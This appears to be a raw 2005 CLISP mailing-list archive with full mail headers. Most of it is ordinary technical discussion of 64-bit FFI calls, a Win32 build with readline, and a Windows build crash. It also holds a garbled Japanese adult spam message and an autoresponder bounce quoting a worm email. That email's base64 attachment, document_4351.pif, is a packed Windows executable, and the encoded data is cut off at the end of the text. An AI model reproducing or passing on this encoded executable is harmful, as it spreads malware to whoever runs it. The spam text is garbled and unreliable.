1EpOgc-0005aF-76 for clisp-list@lists.sourceforge.net; Thu, 22 Dec 2005 03:32:42 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EpOga-00017k-MO for clisp-list@lists.sourceforge.net; Thu, 22 Dec 2005 03:32:42 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 22 Dec 2005 12:32:31 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Dec 2005 12:32:31 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307862459@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: Re: [clisp-list] 64-bit FFI MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 22 03:33:03 2005 X-Original-Date: Thu, 22 Dec 2005 12:32:25 +0100 Hi, Pascal J.Bourguignon wrote, one year ago: >Gesendet: Sonntag, 12. Dezember 2004 00:32 >It seems that 64-bit FFI doesn't work. >I've got a simple peek-and-poke library: >unsigned long long peek64(unsigned long long* address) > {return(*address);} >The code generated is ok, the C compiler push and fetches the 64-bit >arguments on the stack, but it doesn't work with these FFI=20 >declarations: [...] >The problem occurs on 32-bit Athlon (K6).=20 >I've not checked elsewhere. I think I now understand the problem (and can confirm it on a i386 = system). foreign.d says: #if (long_bitsize<64) /* 64-bit integers are passed as structs */ I think the problem lies somewhere within a) your assumption that s/uint64 matches C long long b) clisp not using the av_longlong macros from ffcall, but rather = passing a struct of 2 long values. I think b) is explained by the code, written in 1995, not being revised = when av_longlong was added to ffcall, much later. I have no clue whether a) is correct. There are two things two = distinguish: 1. representation of 64-bit ints in memory Could you please confirm that on your system (=3D (with-c-var (x 'uint64 n) n) n) for 0<=3Dn<2^64 You could use the CVS ffi.tst where I added 64bit testcases right = yesterday. I believe CLISP is ok here, although I could imagine weird = representations of 64bit entities not as two consecutive 32bit = entities... E.g. #x0102030405060708 could be represented as: 0102030405060708 big-endian 0807060504030201 little-endian 0403020108070605 little-endian too I remember reading about such mess somewhere. 2. passing such values as parameters I believe your code would work (if 1. is ok) if you defined poke(address,longlong *value) because that is independent on how the compiler passes long long. The problem arises with poke(address, longlong value). Obviously, CLISP's implementation does not match the compiler's = behaviour. longlong objects are not passed like a struct of two longs = on the stack (at least on your 32-bit Athlon and my Pentium Centrino). So far, I've no clue about how to change the FFI: i) silently map ffi:s/uint64 to C longlong -- where supported by the = compiler, and maintain the 2xlong representation elsewhere. ii) introduce new ffi:long-long names that implement/use the C long = long compiler feature. iii) introduce ffi:long-long as synonyms for uint64. iv) drop the 2xlong code where long long is not available and signal = an error, use long long otherwise. v) disable calling longlong where not available, but still support = accessing memory. I suspect ii) would lead to obscure bugs where ffi:s/uint64 would = behave differently from ffi:long-long. Probably only i) or iv) makes sense, and adding new symbols to the FFI = (iii) does not gain anything. Note that until now, CLISP only implements int64 -> Lisp, while Lisp -> = int64 signals an error on compilers without long long. That makes the = second part of i) questionable and leads to my current recommendations = as iv) Comments on 64bit, their HW-representation, bugs, problems? Regards, J=F6rg H=F6hle From sds@gnu.org Thu Dec 22 06:41:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EpRdO-0007g3-Sy for clisp-list@lists.sourceforge.net; Thu, 22 Dec 2005 06:41:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EpRdM-0006zE-E3 for clisp-list@lists.sourceforge.net; Thu, 22 Dec 2005 06:41:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.244]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBMEf1EE024825; Thu, 22 Dec 2005 09:41:08 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43AA751E.10501@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 22 Dec 2005 11:42:54 +0200") References: <43AA751E.10501@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 22 06:42:06 2005 X-Original-Date: Thu, 22 Dec 2005 09:40:01 -0500 > * Yaroslav Kavenchuk [2005-12-22 11:42:54 +0200]: > > Tomas Zellerin wrote: > >> does anyone have somewhere for download? The sf version >> does not seem to have readline included. > > If nobody will help, I can build required configuration and upload in > the place specified by you. if you will build from the release (not cvs head), I can put it into the SF file section. create the distribution, rename clisp-2.36-win32.zip to clisp-2.36-win32-with-readline.zip and upload to upload.sf.net:/incoming note that you probably need readline.dll for such a distribution to work, so you might have to include it into the zip file manually. also, you might want to offer the mingw people to supply clisp/mingw to them so it will be distributed from their site. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.savegushkatif.org http://pmw.org.il/ http://www.memri.org/ http://www.mideasttruth.com/ http://truepeace.org Sufficiently advanced stupidity is indistinguishable from malice. From kavenchuk@jenty.by Fri Dec 23 00:05:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EphvK-0006z7-7d for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 00:05:10 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EphvH-0001Nr-Ls for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 00:05:10 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ90ZQS8; Fri, 23 Dec 2005 10:05:57 +0200 Message-ID: <43ABAFF2.9030400@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 23 00:06:02 2005 X-Original-Date: Fri, 23 Dec 2005 10:06:10 +0200 Sam Steingold wrote: > if you will build from the release (not cvs head), I can put it into the > SF file section. > create the distribution, rename clisp-2.36-win32.zip to > clisp-2.36-win32-with-readline.zip and upload to upload.sf.net:/incoming > note that you probably need readline.dll for such a distribution to > work, so you might have to include it into the zip file manually. > > also, you might want to offer the mingw people to supply clisp/mingw to > them so it will be distributed from their site. > I have builded clisp from CVS head. But I can build it for upload to upload.sf.net:/incoming. What modules are necessary for switching on in distribution? - bindings/win32 (I think yes) - berkeley-db (I do not know) - dirkey (I think yes) - fast-cgi (I do not know) - matlab (I do not know) - netica (I do not know) - oracle (I do not know) - pari (I do not know) - pcre (I do not know) - postgresql (I do not know) - queens (I do not know) - rawsock (I think yes) - wildcard (I do not know) - zlib (I do not know) Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Dec 23 06:29:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EpnvJ-0008HT-0M for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 06:29:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EpnvH-0003Wi-HQ for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 06:29:33 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.244]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBNES6f9029303; Fri, 23 Dec 2005 09:28:25 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43ABAFF2.9030400@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 23 Dec 2005 10:06:10 +0200") References: <43ABAFF2.9030400@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 23 06:30:01 2005 X-Original-Date: Fri, 23 Dec 2005 09:27:07 -0500 > * Yaroslav Kavenchuk [2005-12-23 10:06:10 +0200]: > > Sam Steingold wrote: > >> if you will build from the release (not cvs head), I can put it into the >> SF file section. >> create the distribution, rename clisp-2.36-win32.zip to >> clisp-2.36-win32-with-readline.zip and upload to upload.sf.net:/incoming >> note that you probably need readline.dll for such a distribution to >> work, so you might have to include it into the zip file manually. >> >> also, you might want to offer the mingw people to supply clisp/mingw to >> them so it will be distributed from their site. >> > > I have builded clisp from CVS head. > But I can build it for upload to upload.sf.net:/incoming. > > What modules are necessary for switching on in distribution? a generally available distribution must be self-contained, i.e., it should not depend on libraries not normally installed. > - bindings/win32 (I think yes) yes. > - berkeley-db (I do not know) no. > - dirkey (I think yes) yes. > - fast-cgi (I do not know) > - matlab (I do not know) > - netica (I do not know) > - oracle (I do not know) > - pari (I do not know) > - pcre (I do not know) > - postgresql (I do not know) > - queens (I do not know) no. > - rawsock (I think yes) yes. > - wildcard (I do not know) > - zlib (I do not know) no. if you want to include zlib, you must also include z.dll, just like if you are including readline, you must include readline.dll. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.dhimmi.com/ http://www.honestreporting.com http://www.memri.org/ http://www.palestinefacts.org/ http://www.iris.org.il Apathy Club meeting this Friday. If you want to come, you're not invited. From dougainfo_ees@yahoo.com Fri Dec 23 09:27:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EpqhU-0000A4-7N for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 09:27:28 -0800 Received: from nttkyo364214.tkyo.nt.ftth.ppp.infoweb.ne.jp ([125.0.27.214] helo=mail.sourceforge.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1EpqhR-0004km-AY for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 09:27:28 -0800 From: =?ISO-2022-JP?B?GyRCRjAyaBsoQklORk88ZG91Z2FpbmZvX2Vlc0B5YWhvby5jb20+?= To: clisp-list@lists.sf.net Message-ID: <6729GHPouv.5069@yahoo.com> X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 MISSING_DATE Missing Date: header -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist [URIs: prettymov.com] Subject: [clisp-list] =?ISO-2022-JP?B?GyRCOEJEakFHP01GMDJoGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 23 09:29:04 2005 X-Original-Date: Fri Dec 23 09:28:11 2005 http://prettymov.com/index2.php?grp ŠúŠÔŒÀ’èI‘fl“®‰æ”zM’†II —Žq‘å¶EOLEŠÅŒì•wEŽáÈ‚ÌSEX‚ðŒ©‚é‚̂ͫ‚±‚¿‚ç http://prettymov.com/index2.php?grp ƒvƒ‚Ì’j—D‚ª‘fl—«‚Ìu—v‚ðˆø‚«o‚µ‚Ü‚·B –{‹C‚ÅŠ´‚¶‚È‚¢‚悤‚ɂƋC‚𒣂Á‚Ä‚¢‚é—«‚Ì«Š´‘Ñ‚ð‘S‚Äu“IŠm‚Évӂ߂Ă¢‚«‚Ü‚·B ‚Í‚¶‚߂ĂÌâ’¸‚ÉA‚Ý‚¸‚©‚瘂ðU‚Á‚ĉõŠ´‚ð‹‚߂õ‚Ü‚¤—Žq‘å¶B http://prettymov.com/index2.php?grp ‚³‚ç‚ÉA—«‚Æ‚µ‚ÄŠJ”­‚³‚ê‚Ä‚¢‚­ŽáÈB ‰½l‚à‚Ì•vˆÈŠO‚Ì’j«‚ð—lX‚ÈuŒûvuŒŠv‚Å“¯Žž‚Ɏ󂯓ü‚êA–¡‚í‚Á‚Ä‚¢‚Ü‚·EEEB •v‚Æ‚ÌSEX‚ł͒m‚邱‚Æ‚ªo—ˆ‚È‚©‚Á‚½‰õŠyEEEB http://prettymov.com/index2.php?grp From fb@frank-buss.de Fri Dec 23 19:33:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eq09m-0002FC-Vo for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 19:33:18 -0800 Received: from moutng.kundenserver.de ([212.227.126.177]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eq09j-0000ju-H0 for clisp-list@lists.sourceforge.net; Fri, 23 Dec 2005 19:33:19 -0800 Received: from [84.44.234.72] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu2) with ESMTP (Nemesis), id 0MKwtQ-1Eq09W2IMj-0000jf; Sat, 24 Dec 2005 04:33:12 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYIOsCeeILvAszxQamu863olRBQ5w== Message-ID: <0MKwtQ-1Eq09W2IMj-0000jf@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 23 19:34:01 2005 X-Original-Date: Sat, 24 Dec 2005 04:33:06 +0100 I'm trying to write a small howto for building CLISP from scratch on a Windows system, because I didn't found such a documentation. This is the start: http://www.frank-buss.de/lisp/clisp.html But it crashs while building. The last output lines: RUN-TEST: started # (DEFPARAMETER *SERVER* (SOCKET-SERVER)) EQL-OK: *SERVER* (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0)) EQUAL-OK: (NIL 0) (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*) "localhost" :TIMEOUT 0)) EQL-OK: *SOCKET-1* (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO))) EQL-OK: *STATUS-ARG* (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*) EQL-OK: T (CDR (ASSOC *SERVER* *STATUS-ARG*)) ERROR!! NIL should be T ! *** - handle_fault error2 ! address =3D 0xd21000 not in [0x19d70000,0x19fa6804) ! SIGSEGV cannot be cured. Fault address =3D 0xd21000. Permanently allocated: 87648 bytes. Currently in use: 4709064 bytes. Free space: 706523 bytes. make[1]: *** [tests] Error 5 make[1]: Leaving directory `/home/Frank/clisp-2.36/clisp-gui/tests' make: *** [check-tests] Error 2 Currently this is the unmodified CLISP source. When it works, I want to modify it to disable the console window (by substituting main with = WinMain). --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From MAILER-DAEMON Sat Dec 24 06:52:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqAlM-0001fP-0A for clisp-list@lists.sourceforge.net; Sat, 24 Dec 2005 06:52:48 -0800 Received: from summer.phpwebhosting.com ([67.18.123.66]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EqAlK-0000x5-9m for clisp-list@lists.sourceforge.net; Sat, 24 Dec 2005 06:52:48 -0800 Received: (qmail 21195 invoked by uid 457); 24 Dec 2005 14:52:37 -0000 Message-ID: <1135435957.21194.blah> Delivered-To: Autoresponder To: clisp-list@lists.sourceforge.net From: software@synesis.com.au X-Spam-Score: 4.3 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 2.5 UNIQUE_WORDS BODY: Message body has many words used only once 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 1.4 INVALID_MSGID Message-Id is not valid, according to RFC 2822 Subject: [clisp-list] Email account no longer valid: software@synesis.com.au Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 24 06:53:08 2005 X-Original-Date: 24 Dec 2005 14:52:37 -0000 This account is no longer viable, due to the increased activities of spammers. If you have a legitimate communication with Synesis Software, please fill out the form at http://www.synesis.com.au/contact.html. Synesis Software Pty Ltd Received: (qmail 21191 invoked from network); 24 Dec 2005 14:52:37 -0000 Received: from unknown (HELO m1.dnsix.com) (63.251.171.166) by summer.phpwebhosting.com with SMTP; Sat, 24 Dec 2005 09:52:37 -0500 Received: from [84.169.83.125] (helo=recls.org) by m1.dnsix.com with esmtp (Exim 4.44) id 1EqAka-0007RM-6y for admin@recls.org; Sat, 24 Dec 2005 06:52:39 -0800 From: clisp-list@lists.sourceforge.net To: admin@recls.org Subject: Re: Re: Re: Your document Date: Sat, 24 Dec 2005 15:51:59 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_00006C4E.00003C00" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0000_00006C4E.00003C00 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please have a look at the attached file. ------=_NextPart_000_0000_00006C4E.00003C00 Content-Type: application/octet-stream; name="document_4351.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_4351.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 